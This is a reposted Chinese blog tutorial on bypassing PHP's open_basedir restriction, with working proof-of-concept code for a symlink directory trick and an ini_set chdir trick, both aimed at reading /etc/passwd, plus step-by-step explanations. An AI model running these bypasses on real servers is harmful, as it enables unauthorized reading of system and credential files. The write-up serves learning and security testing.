-------已搬运------绕过 open_basedir学习

参考自:open_basedir绕过

环境设置:

shell.php:
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

利用symlink()绕过

symlink()函数

symlink()对于已有的target建立一个名为link的符号连接。
用法如下:

  • symlink (string [Math Processing Error]
    link) symlink()对于已有的 target(一般情况下受限于open_basedir)建立一个名为link的符号连接。
  • 成功时返回TRUE, 或者在失败时返回FALSE。 示例用法如下:
<?php
$target = 'uploads.php';
$link = 'uploads';
symlink($target, $link);

echo readlink($link);
# 将会输出'uploads.php'这个字符串
?>
POC

假如我们要读取/etc/passwd,对应的POC为:

<?php
mkdir("a");
chdir("a");
mkdir("b");
chdir("b");
mkdir("c");
chdir("c");
mkdir("d");
chdir("d");
chdir("..");
chdir("..");
chdir("..");
chdir("..");
symlink("a/b/c/d","Von");
symlink("Von/../../../../etc/passwd","exp");
unlink("Von");
mkdir("Von");
system('cat exp');

我的环境没有成功,因为,有disable_function禁用了system。
在这里插入图片描述
成功/etc/passwd/
分析一下这个poc

  1. 首先前面8步,实现了创建a/b/c/d目录,并把当前目录移动到该目录下面。
  2. 接着symlink(“a/b/c/d”,”Von”)创建了一个符号文件Von,指向了a/b/c/d
  3. 接着symlink(“Von/…/…/…/…/etc/passwd”,”exp”),由于此时Von仍然是一个符号文件,所以等价于symlink(“a/b/c/d/…/…/…/…/etc/passwd”,”exp”),由于此时a/b/c/d/…/…/…/…/的结果等于/var/www/html,符合open_basedir的限制,因此软链接可以被成功建立。
  4. 但是之后我们删除了Von这个软链接,并且建立了一个真实的文件夹Von,所以此时上面symlink(“Von/…/…/…/…/etc/passwd”,”exp”)中的Von不再是软链接而是一个真实的目录。从而达到跨目录访问的效果。 其实到了这一步,我们直接访问根目录下的exp文件能得到结果,我上面是为了让结果直观展示出来才利用使用了system(‘cat exp’)来得到结果。(一般情况下system()是被禁的)

利用ini_set()绕过

ini_set()函数

ini_set()用来设置php.ini的值,在函数执行的时候生效,脚本结束后,设置失效。无需打开php.ini文件,就能修改配置。函数用法如下:

ini_set ( string $varname , string $newvalue ) : string
  • varname是需要设置的值
  • newvalue是设置成为新的值
  • 成功时返回旧的值,失败时返回 FALSE
POC
<?php
mkdir('Von');  //创建一个目录Von
chdir('Von');  //切换到Von目录下
ini_set('open_basedir','..');  //把open_basedir切换到上层目录
chdir('..');  //以下这三步是把目录切换到根目录
chdir('..');
chdir('..');
ini_set('open_basedir','/');  //设置open_basedir为根目录(此时相当于没有设置open_basedir)
echo file_get_contents('/etc/passwd');  //读取/etc/passwd

没有绕过 disable_function。这是绕过了 open_basedir。eval还是用不了,这能够读取文件,
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值